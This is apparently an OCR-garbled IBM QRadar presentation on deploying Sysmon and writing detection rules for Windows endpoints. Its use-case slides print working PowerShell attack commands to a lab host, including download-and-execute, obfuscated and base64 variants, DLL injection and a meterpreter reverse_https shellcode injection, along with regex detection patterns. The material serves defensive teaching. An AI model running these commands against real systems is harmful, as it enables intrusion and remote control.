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Open Mic: Sysmon & Windows Endpoint Detection

A discussion about Sysmon, what it is, why it is important, how we
collect data, configuration, and more...

https://ibm.biz/JoinQRadarOpenMic
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|
Disclaimer

Please Note:

IBM’s statements regarding its plans, directions, and intent are subject to
change or withdrawal without notice at IBM’s sole discretion.

Information regarding potential future products is intended to outline our general
product direction and it should not be relied on in making a purchasing decision.

The information mentioned regarding potential future products is not a
commitment, promise, or legal obligation to deliver any material, code or
functionality. Information about potential future products may not be
incorporated into any contract. The development, release, and timing of any
future features or functionality described for our products remains at our sole
discretion.
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Announcements & links

*WinCollect 7.2.8 Patch 1 Is released.

Release notes: https://ibm.biz/wincollect/28p1

*Do you have the QRadar Content Extension for
Sysmon?

Get it here: https://ibm.biz/qradarsysmon



https://ibm.biz/wincollect728p1
https://ibm.biz/qradarsysmon

Agenda

What is Sysmon & why use it
* How to setup, configure and use filtering

 How to use Sysmon to catch the bad guys
(Content for sysmon on AppX)

*« Q&A



I
What is Sysmon?

« System Monitor (Sysmon) is a Windows system service and device driver
that, once installed on a system, remains resident across system reboots
to monitor and log system activity to the Windows event log. It provides
detailed information about process creations, network connections,
changes to file creation time & a lot more.

* These log files are very important & crucial to understand issues pertaining
to Windows endpoints and security.

* Installed on Windows endpoints are shows up event logs.

* Its free and gives incredible visibility into system activity on Windows
endpoints.
— Windows XP -> System event log

— Vista/Windows 7 & higher - Applications and
Services\logs\Microsoft\Windows\Sysmon\operational folder
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I
Sysmon & Install

« Easy to install (32-bit Sysmon.exe or 64-bit Sysmon64.exe)

* Can be installed from a network location:
\\$I1\sysmon\sysmon -accepleula -i \\%1l\sysmon\sysmon.xml

« Can be installed using Powershell or psexe

« Can use windows event forwarding or WinCollect to forward these events
to QRadar.

* Runs locally on the Windows host

* Very minor performance impact at endpoints

Where?
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

6 IBM Security


file://$1/sysmon/sysmon
file://h1/sysmon/sysmon.xml
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Sysmon / QRadar Deploymont
y Q 1oy Radar 3. Content on AppX

Wincollect
(.syslog)

2. Sysmon-config.xml Windows\local\xxxxx

N\ /

Windows
Endpoint
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I
Sysmon (Extra setup items)

Company Policy

 Hardened Endpoints

* Behavior

* Delaying the WinCollect service is important

« How do you want the log source to act?
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Sysmon / QRadar Deployment Option 1

Events received based Log sources for endpoints
on Sysmon-config.xmi auto discovered using the
L, configuration WinCollect ‘Forwarded’
\\W?f"enm

N O/-W
=3,
Sa

b o e e s o= »
Windows Event

Forwarding ,"
/'/,;(6\(\(3
P |
‘,';)@&“ Windows Server QRadar appliance
g w/WinCollect agent w/Sysmon Content

Extension

KMicrosoft Subscriptioy

* Windows Endpoint
* Sysmon.exe
*  Sysmon-Config.xml
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Sysmon / QRadar Deployment Option 2

Syslog
events with
new header

Endpoints w/WinCollect N

“"
o2 .-
‘ -

KEndpoints w/\NinCoIIe(y

* Windows Endpoint w/local WinCollect agents
* Sysmon.exe
*  Sysmon-Config.xml

Windows Server
Syslog relay

1 log source, index based
on CEP (machine name)

QRadar appliance
w/Sysmon Content
Extension
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WinCollect Configuration

Quick and Very Dirty!!!

— Agentconfig.xml file where the DeviceAddress is localhost and have it send directly to
QRadar

Quick and Dirty!

— Agentconfig.xml file where DeviceAddress is localhost and send the information via a syslog
relay

Nice Solution
— Create an TestAgenconfig.xml where DeviceAddress is “TEST”
— Copy this file into the config directory of Wincollect.

— Run the following powershell command: (Get-Content TestAgentconfig.xml) | ForEach-
Object{$_-replace "TEST", $env.:computername } | Set-Content AgentConfig.xml

Best Solution for a lot of endpoints
— Run the logs coming from “Nice Solution” through a syslog relay

— Add new syslog headers or alter the syslog headers to make all sysmon coming from 1
source

IBM Security
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Sysmon Events

Sysmon Service Status Changed 0 Process Access 10
Process Create 1 File Create 11
File Creation Time Changed 2 Registry Object CreateDelete 12
Network Connection 3 Registry Value Create 13
Sysmon Service State Change 4 Registry Object Rename 14
Process Terminated 5 File Create Stream Hash 15
Driver Loaded 6 Sysmon Config Changed 16
Image Loaded 7 Pipe Created 17
CreateRemoteThread 8 Pipe Connected 18
RawAccessRead 9 Error 255
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Sysmon (Detailed Event ID1)

Level Date and Time Event ID  Task Category

b informaton S/23/2017 &10:21 AM Process Creste (ruble: ProcessCreate)
i | informatson V23/201T &10:18 AM Process Create (rule: ProcessCreat

) | information SV23/2017 &G 18 AM Process Create (rule

i) intormation VA 2017 &1 18 AM Process Create (

i ' Information S22017 &8 AM Process Creste |

i Information 5

i) information 52

1 ' informatson S

1) informat:on 2 ProcessCreate)
i) Information 2372017 & 1005 AM : ProcessCreste)
il Information S23/2017 &10:08 AM ProcessCreat

LA = . L iazswnz T o

Event 1, Sysmon

[General| Details

Y Fiereck Log: Microsoft-Windows-Sysmon/Operational: Source: ; Event ID: 1. Number of events: 1,111

YIIMOn

Process Create
UtcTime: 2017-05-23 1210:21 867
ProcessGund: {a23caeclf- 34bd- 5524 -0000
Processid: 1088

Image C\Windows\Sysmon. exe
CommandLine sysmon -h shalZS6
CurrentDirectony: C\

User: LABVsmith

LogonGuid: {a23eaedS-60aT7-591c-0000-0020¢3280600)

Logonid: Dx628FB

TermmnalSessionid: |

Integrityl evel High

Hashes: SHA256=3C67460107BO0DSECICC26ABE2ECICIADEB 16 102CEFFOOF T5487CETAADSISTS
ParentProcessGuad: (aZ3eselS-01ad-5521-0000-001008450835)

ParentProcessid: 65854

Parentimage C\Windows\Systern32\and.exe

ParentCommandlme “CAWindows\system3iZcmd.exe”

Event ID 1 Process Create
ProcessGUID is unigque
sysmon creates and is
global unique vs processID
which is reused by
windows and no good for
correlation

This is event for sysmon
itself executing

Gives me my command
line

We have changed our
hash algorithm to sha256
& this is the hash of the
sysmon program itself.

Vs WSL 4688

1. NoDLLs

2. No Hash

3. Only recent
version gives
parent
processes or
command line
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—
Sysmon (More sample events)

Examples of 7

1. ID7
Image loaded: 2. Image
UtcTime: 2017-04-28 22:45:16.662 3. Image loaded
ProcessGuid: %23&3&89—c5fa—59£]3—DDﬂD—[}D1Dbf-‘+3EFDDD}
T Ciiando \System32\notepad 4. Hash
mage. LAMWINAoOWSs m M dd.exe 1 i
ImageLﬂac\ied: C:\Windows\System32\ole32.dl| o Isit S'Q”ed )
Hashes: SHA1=B2A2BBCFB69B1F0982C4B82055DADSBAE4384E4B 6. Who signed it
Signed: true C .
Signature: Microsoft Windows 7. Valid sig or not
SignatureStatus: Valid
Examples of 8
1. ID8
EE%teRemZE%TBrSEE{g ‘%‘Et%t%"m 2. CreateRemoteThread
Ime: =] 5= 2342,
SO, (765591700101} 3. Source Process
gourgmss%t\gg Files (x86)\Microsoft Visual Studio 14.0\Common7\IDE\Remote Debugger\x64\ 3. Target Process
ourcelmage: Li\Frogram ries ICFOSOIT VISUal studio L2.uiLommon £Mote LIEDUGQEnXb4\msvsmon.exe i i
TargetProcessGui: gaEBeaeBF!réeSa-591?—0000-00100(&3&%04} 5. Information on code that is
TarqetProcessid: 2024 run.

Targetlmage: C:\repos\Supercharger\Mtg. Supercharger. ControllerService\bin\x64\Debug\Mtg. Supercharger. ControllerService exe
NewThreadld: 20532

StartAddress: 0x00007FFB09321970

StartModule: C:\Windows\SYSTEM32\ntdll.dl

StartFunction: DbgUiRemoteBreakin
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I
Sysmon.config.xml (Using Filtering for Sysmon)

Useful for enabling specific event types

If no filter, onmatch has opposite effect:

® Include: don’t log any events -1<Sysmon schemaversion="2.01">
® Exclude: log all events of the tag type -] <EventFiltering>
{ProcessCreate onmatch="exclude"/>»
This cqnfiguratiﬂn enables the <DriverLoad onmatch="include"/>
fnllﬂwmg: <ImagelLoad onmatch="include"/>
B ProcessCreate: because of onmatch <FileCreateTime onmatch="include"/>
exclude <NetworkConnect onmatch="include"/>
B ProcessTerminate: because it is omitted <CreateRemoteThread onmatch="include"/>
and by default enabled <RawAccessRead onmatch="include"ﬁ>|
</EventFiltering>
</Sysmon>
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I
Sysmon.config.xml (Using Filtering for Sysmon)

This is the xml file for setting up what

cProcessCreate ommatchs"exclude> sysmon will log. In this example we are
<ComandLine conditions"beqin with'>C:\Windows\systen32\0TIHost.exe /Processide/Comandi saying give me all events for process
<«CommandLine condition="1s">C: \vnndows\system32\$earchlndexer exe /Embedding</ConmandLine

| create but exclude

<Inage conditions"end with"C: \mndows\S;steMZ\(ompatTelRunner .exe</Image> <!--Microsoft
<Image uwh mn-' 15">C: \Windons\System3?\MusNot i fication. exec/Inage> <!--Microsoft:windor
<Image on="15">C: \mndows\System32\MusNot1ﬁcatlonux exe</Inage> <!--Microsoft:winc This example is saying if any of these
<Image (h |0n=: §">C! \mndows\System32\aud1odg exe</Image> <! '\H(loson ‘Windows: Launc events from below exclude are seen
<Image condition="1s">C:\Windows\Systen32\conhost . exe</Inage> <! ncrosoh Windows; _ _
<Inage condition 'ls >C: \Windows\System32\powercfg. exe</Inage> <& rower configu exclude them include everything else
<Image conditions"is">C: \mndows\SystemJZ\wbem\mApSrv exeSFTnage> <! 'Muw ‘Windows ;
<Image conditions"is">C:\Windows\Systen32\werngr.exe/Inage> <!--Microsoft:i indows indons
<Image condition="1s">C:\Windows\Syswow64 \werngr.exe</Inage> <!--Microsoft:windows:Windons
<Image conditions"is">C: \mndows\systemll\sp SVC, exeqlma?m ¢|==Microsoft:windows: sfw. ]
<InteqrityLevel conditions"is">AppContainer</InteqrityLevel> <!--Nicrosoft:windows: Don't ¢ 15

<ParentConmandline nul(l\ 1( n="beqin with">KKSystemRoot¥\systen32\csrss.exe Objectirecto

Is not
<ParentImage condition="15">C:\Windows\systen32\SearchIndexer,exe</ParentImage> <!--Micros
| FAYYAM . Us nunnaleilinmd iNabandas

contains

excludes
begin with
end with
less than
more than

image
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Sysmon.config.xml

Where can | find a good example of what should be in my Sysmon.config.xml file?

SwiftOnSecurity offers a good Sysmon example template that is available to all Windows
administrators to review, fork the code, or customize to meet your Windows security needs.

Another Sysmon config to start with would be ion-storm, but this is rendering some use
cases in the content pack N/A as the events needed won’t be recorded.

Where?
 https://github.com/SwiftOnSecurity/sysmon-config

 https://github.com/SwiftOnSecurity/sysmon-
config/blob/master/sysmonconfig-export.xml

* https://github.com/ion-storm/sysmon-config

18
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Content & Use Cases

IBM QRadar Content for Sysmon

QRadar, by IBM Canada Ltd

@ IBM Validated

Overview

Sysmon is a Windows system service and device driver that, once installed on a system, monitors and logs system activity to the Windows event log. It provides us with a more detailed view than
the windows security logs._ Its free and sasy to install on windows andpoints and once installed and the logs ara forwarded to ORadar allows for detection of Advanced Threats on windows
endpoints.

This content pack provides multiple use cases to detect these Advanced Threat. Like powarshell abuse, hidden windows processes, fileless memory attacks, code obfuscation and much more.
Ag part of this contant pack users will receive new offenses rules. building blocks, ref sats and custom functions that will help detect these use cases.

For information on how to install sysmaon and how to configure with Wincollect please sea more detail here

Screenshots (4)

ApEs W meommaes L FeCumy 01 CamOu
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Contents

Saved Search 1
Custom Property 20
Reference Data Collection
Log Source Type 1
Custom Rule 16
Custom QIDMap Entry 13
Custom AGL Function 2
Additional Information

Uploaded

Version

on Aug 19, 2017
1.0.0

Compatibility QRadar 7.2.8 +

Size

326kB

Downloads 36

Documentation View

Sha256 Hash Wiew

Support

IBM Support

Pro

e Feedbac

IEM QRadar Content for
Sysmon

Compatibility:
QRadar 7.2.8+




]
Use Case 1

Sysmon: Advanced PowerShell Use Case 1:

Powershell is used to download .exe, Place it in the temp directory & start process -> Opening backdoor.

Process Launched From Temp Directory

Unsigned Executable or DLL Loaded Into Sensitive System Process
Process Created a Thread into System Process

Process Created & Thread From a Process That was Launched Fro..
Process Created & Thread Into Another Process

Powershell Malicious Usage Detected

Unsigned Executable or DLL Loaded from Temp Directory | ]

Fule (Click on an underlined value to edit it)
Invalid tests are highlighted and must be fixed before rule can be saved.

Apply Process Launched From Temp Directony on events which are detected by the | Local % system

SN and when the event(s) were detected by one or more of Microsoft Windows Security Event Log
SN and when the event QID is one of the following (5001828) Event 5001828
&€ and when any of ImageTempPath (custom) are contained in any of TempFilePath - AlphaNumeric

Hule [LICK ON an undeninea vaiue 1o eqit i)
Invalid tests are highlighted and must be fixed before rule can be saved.

Process Launched From Temp Directory

Unsigned Executable or DLL Loaded Into Sensitive System Process
Process Created a Thread into System Process

Process Created & Thread From a Process That was Launched Fro...

Apply Unsigned Executable or DLL Loaded frem Temp Direc on events which are detected by the | Local % system

SIS and when the event(s) were detected by one or more of Microsoft Windows Security Event Log

& and when the event QID is one of the following (5001844) Event 5001844
S5 and when any of Imagel oadedTempPath (custom) are contained in any of TempFilePath - AlphaNumeric

Process Created a Thread Into Another Process

Powershell Malicious Usage Detected with Encoded Command
Powershell script has been downloaded

System Process Started From Unusual Directory

Abnormal Parent for a System Process

Suspicious svchost Process Delected

Shadow Copies Delete Detected

S5 and when the event(s) were detected by one or more of Microsoft Windows Security Event Log
S and when the event QID is one of the following (5001828) Event 5001828

& and when the event matches Process CommandLine {custom) is not N/A
&8 and when the event matches REPLACEALL({", "Process CommandLine”, ") IMATCHES “(.*New\-Object\s*(System\.)?

Net\. Wet}CIlenl DownloadFlle °[Star1\ Process|start|saps).”)|{."{iex]invoke-Expression)?. "Mew\- Ob|ec.t‘l.s"[Sv5tem\ 17
(A \-Objectis® d Stril

System\. )?Netl. WebClient."D

Please select any groups you would like this rule to be a member of:

| 2 O Anomaly

Example of command

powershell.exe -ExecutionPolicy bypass —noprofile —c (New-Object System.Net.WebClient).DownloadFile('http://172.16.60.124/myLove.exe’,

"$env:itemp\myLove.exe\"); Start-Process \"$env:tem p\myLove.exe\”
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]
Use Case 2

Sysmon PowerShell Use Case 2:

Sophisticated attack in memory “fileless” — Inject code into RAM and run the process from there.

Apply BB: Unsigned Executable or DLL Loaded Into Sensitiv an events which are detected by the | Local & sysiem

m  and when the even(s) were detected by one or more of Microsoft Windows Security Event Log
QOO 2nd when the event QID is ane of the following (5001844) Event 5001844

O and when the event matches Slaned (custom) is any of false
@ and when any of ImageName (custom) are contained in any of Windows Sensitive Processes - AlphaNumeric (lgnore Case)

FRUIE ICK DN an unaerimea yaide o eqi 1)
Unsigned Executabie or DLL Loaded Into Sensitive System Process Invalid tests are highlighted and must be fixed before rule can be saved.

Process Created a Thread into System Process
Process Created a Thread From a Process That was Launched From a Temp Directory

Apply |Unsigned Executable or DLL Loaded Into Sensitive Sy on evenis which are detected by the | Local % system
S and when the event(s) were detected by one or more of Microsoft Windows Security Event Log

Process Crealed a Thread Into Another Process OGO and when the svent QID is one of the following (5001844) Event 5001844
Powershell Malicious Usage Detected O and when an event matches any of the following BB: Unsigned Executable or DLL Loaded Into Sensitive System Process Part
Powershell Malicious Usage Detected with Encoded Command 1

Powershall Malicious Usage Detectad - S and when the event(s) were detected by one or more of Microsoft Windows Security Event Log
Powershell Malicious Usage Detected with Encoded Command SN and when the event QID is one of the following (5001828) Event 5001828

SN and when the event matches Process CommandLine (custom) is not N/IA
Powershell script has been downloaded O and when the event matches REPLACEALL("", "Process CommandLine”, ) IMATCHES *{(.*New\-Object\s*(System\.)?
System Process Started From Unusual Directory Met\.WebClient.* DownloadFile.*{Start\-Process|start|saps). *)|(. *(iex]Invoke-Expression) ?. *New\-Object\s*{System\. ) ?
Net\.WebClient."DownloadString.")|(."New\-Object\s*(System\. ) ?Net\.WebClient." DownloadString. *(iex|Invoke-Expression)?.* )1 AQL

Abnormal Parent for a System Process

Suspicious svchost Process Detected Please select any groups you would like this rule to be a member of:
Shadow Copies Delete Detected [+ T Anomaly |

powershell.exe -ExecutionPolicy bypass —noprofile —c "iex(New-Object
Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-
Dllinjection.psl’);(New-Object System.Net.WebClient).DownloadFile('http://172.16.60.124/calc.dll,
\"$env:temp\"+'\calc.dll');iInvoke-DllInjection -ProcessID (get-process -name explorer | select -ExpandProperty Id) -dll
$enviiemp\calc.dl

21 IBM Security



Use Case 3

Sysmon PowerShell Use Case 3:

Base 64 encoding. Code obfuscation

R AT BRI R R MAL I 1ML R EERA PR A | R W | AR e T

——

GO and when the event QID is one of the following (5001828} Event 5001828

Powershell Malicious Usage Detected with Encoded Command

Powershell script has been downloaded Q&0 and when the event matches PS Encoded Command (custom) is not N/A
System Process Started From Unusual Directory Q8 and when the event matches REPLACEALL(\", DECODERS::BASEG4DECODE("PS Encoded Command"), ") IMATCHES
Abnormal Parent for 2 System Process {(.*"New\-Objectts*(Systemt. }?Netl WebClient.*DownloadFile. *{Start\-Process|start|saps).*)|{.*(iex|Invoke-Expression)? *New'-

Object\s*(System\.)?Net\. WebClient.” DownloadString.*)l(.*New\-Obiect\s*{System\. ) ?Net\. WebClient. *DownloadString. *(iex|Invoke-
Expression)?.*)}' AQL filter query

Suspicious svchost Process Detected

Clhadaa Manian Malate Dataatad

powershell.exe -ExecuTionPolicy ByPass -encodedCommand
KABOAGUAdWAIAEBAYgBGAGUAYWBOACAAUWB5AHMAIABIAGOALgBOAGUAdAAUAFCAZQBIAEMADA
BpAGUAbgBOACKALgBEAG8AdWBUAGWAbWBhAGQARgBPAGWAZQAOACCAaABOAHQACAABACBALWAX
ADCAMgAUADEANgAUADYAMAAUADEAMgAOACBAYWBhAGWAYWAUAGUAeABIACCALAAgACIAQWAGBAF
WAVQBzAGUAcgBzAFWASQBFAFUACWBIAHIAXABBAHAACABEAGEAJABhAFWATABVAGMAYQBsAFwWA
VABIAGOACABCAFWAYWBhAGWAYWAUAGUAeABIACIAKQA7ACAAUWBOAGEACgBOACOAUABYAGBAYwWB
IAHMACWAgACIAQWABAFWAVQBzAGUACcgBzAFWASQBFAFUACWBIAHIAXABBAHAACABEAGEAdABhAF
WATABVAGMAYQBsAFWAVABIAGOACABCAGMAYQBSAGMALGBIAHgAZQAIAA==
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Use Case 4

Sysmon Use Case 4

Recommendation on “svchost.

Bogus Windows Process (SANS DFIR Poster) This gives you some good best practices)

$SysytemRoot$\System32\svchost.exe. Should be run ‘-k’ parameter for grouping similar processes

exe” services.exe should be parent, should be run from

Shadow Copies Delete Detected

Rule
pply Suspicious svchost Process Detected on events which are
el sk e #ln mssnmE Al ssrnen At atad e oame e senen of Bllacaae

Suspicious svchost Process Detected
Shadow Copies Delete Detected

&2 and when the event(s) were detected by one or more of Microsoft Windows Security Event Log

S and when the event QID is one of the following (5001828) Event 5001828, (5000862) Success Audit: A new process has
been created

&S and when any of ImageMame (custom) match (?ilsvchost.exe

S and when the event matches Process CommandLine (custom) is not N/A, Process CommandLine (custom) does not match
any of expressions (7i)."\-k.*

&SN and when the event QID is one of the following (5001828) Event 5001828

| and when any of ImageMame {custom) match (?
ilsmss.exe|wininit. exe|taskhost. exe|lsass.exe|winlogon.exe|explorer. exe|lsm.exe|svchost. exe|services. exelcsrss.exe|cmd. exe|iexplon
S and when the event matches REFERENCEMAPSETCONTAINS{ ProcessMaptoProcessParentPath’
LOWER("ImageMame"), LOWER({"Parentimage"]) I= True AQL filter query

Rule

Sysiem Process Started From Unusual Directory

PRI [WIILR LT gl U RTINS Valude L UL L)
Invalid tests are highlighted and must be fixed before rule can be saved.

Abnormal Parent for a System Process
Suspicious svchost Process Detected
Shadow Copies Delete Detected

S and when the event QID is one of the following (5001828) Event 5001828, (5000862) Success Audit: A new process has
been created

SN and when any of ImageMame (custom) match (?

ilsmss. exe|wininit. exe|taskhost. exe|lsass.exe|winlogon.exe|explorer. exe|lsm.exe|svchost. exe|services. exelcsrss. exe|cmd. exe|iexplon
& and when the event matches REFERENCEMAPSETCONTAINS('ProcessMaptoProcessPath’, LOWER("ImageName"),

IBM Security




]
Use Case 5

Advanced Powershell detection: Sysmon powershell commands using a Obfuscation & concatenation of
the command & also a separate case when powershell is using Bitstransfer library to download the code
to open the backdoor.

| Powershell Malicious Usage Detected |
P hed From Ti Di Rule (Click on an underlined value to edit it)
1ODSN Lo rom 1emp Lreciory Invalid tests are highlighted and must be fixed before rule can be saved
OO0 and when any of ImageName (custom) match (?i)powershell.exelemd exe
OO0 and when the event matches Process CommandLine (custom) Is not N/A
20 and when the event matches Filtars;.Ps

24

£0

i 3 “N( Hiex vokeb xpre "‘_. wi (
*)) AQL filter query

Obfuscated examples:

1) powershell.exe -ExecutionPolicy bypass —noprofile —c (*New-Obj*ec”t
Sy”*s~tem.Net.WebClient).DoWnLOaDfle('http://172.16.60.124/myLove.exe’,
"$env:itemp\myLove.exe\"); Start-Process \"$env:temp\myLove.exe\"

2) powershell.exe -ExecutionPolicy bypass —noprofile —c (New-Object Net.WebClient).('Dow' + 'nloa’
+'dfile’).invoke('http://172.16.60.124/myLove.exe’, \"$env:temp\myLove.exe\"); Start-Process
"$env:temp\myLove.exe\”

3) powershell.exe -ExecutionPolicy bypass —noprofile —c "Import-Module BitsTransfer";Start-BitsTransfer
-Source 'http://172.16.60.124/myLove.exe’ -Destination \"$env:temp\myLove.exe\"; Invoke-Item

"$env:temp\myLove.exe\”

IBM Security




]
Use Case 6

Sysmon — reverse https attack: explorer.exe is going to have coded injected with Malware and is totally

“fileless”
& also use case for checking if powershell is downloaded “PS1” is downloaded

— 2 Rule (Click on an underiined value to edit it)

Process Launched From Temp Directory Invalid tests are highlighted and must be fixed before rule can be saved
m and when any of ImageName (custiom) match (?i)powershell exelemd.exe
m and when the event matches Process CommandLine (custom) is not N/A
©50 and when the event matches Filters;.PScmdFilter("Process CommandLine®) IMAT

I\ CHES "((.*NewOblect(System)?
wdFile startProcessistartisaps). * M {ilexiinye [ igion ). *"NewObject(Systen
{String, *)I(."NewObject{Systs vz‘_“r@:;m;-m"t:,.‘.‘«:‘.m‘ tring, * (lex|Invoke Expression).*)| I
tom.*)) AQL filter query

BB: Detected a downloaded Powershell Script - gg?ez?:dwhen the event QID is one of the following (5001828) Event 5001828, (5000862) Success Audit: A new process has
BE: Detected a downloaded Powershell Script with Encod... O& and when any of ImageMame {custom}) match (?i)powershell.exe|cmd.exe
S and when the event matches Process CommandLine {custom) is not NIA

Rule - —— -
Iv BB: Deteoied a downloaded Powershell Scrint on events which S5 and when the event matches Filters::PScmdFilter{"Process CommandLine”) IMATCHES
pé’ ihen the eventis) were detected by one or me; af Microsoft Wir {."NewObject."NetWebClient.*DownloadString.*ps1.")| (. "NewObject *"NetWebClient.*DownloadFile."ps1.*)’ AQL filter guery

powershell.exe -¢c $cmd = (New-Object
Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/da

ta/module_source/code_execution/Invoke-Shellcode.psl’);Invoke-Expression -Command $cmd; Invoke-
Shellcode -ProcessID (Get-Process -Name explorer).Id -Payload windows/meterpreter/reverse_https -

Lhost 172.16.60.124 -Iport 443 —Force
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11 f)
What does Sysmon cost” (‘

« Does Sysmon have a part number = No

* Wincollect 40000 Endpoints = 2000 EPS

» Sysmon 40000 enabled at Endpoints = 1000 EPS
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The Pyramid Of Pain

Sysmon will help you
detect and defer these

attacks

A eTough!

z
Tools eChallenging
Network/ .
Host Artifacts -Annoylng
Domain Names eSimple
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Overall Summary

Sysmon rocks, get it installed, refine your xml, start analyzing & making your
own rules.

Predefined content already setup to use on the AppX (Team researching attack
vectors and building rules on all killchain stages)

Advanced detection as using Qradar SIEM correlation engine

These rules would have detected Wcry & Notpetya. We don'’t need to get hung
up trying to see initial exploit but what the malware does next.

Cost to implement is low & Massive visibility into windows endpoints & security.

Users could easily setup a dashboard in Qradar for endpoints. Like top
processes, top started processes, Last observed hashes. We can merge data
that we are already using in Qradar, like user data from AD logs or TI.
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Questions and Answers
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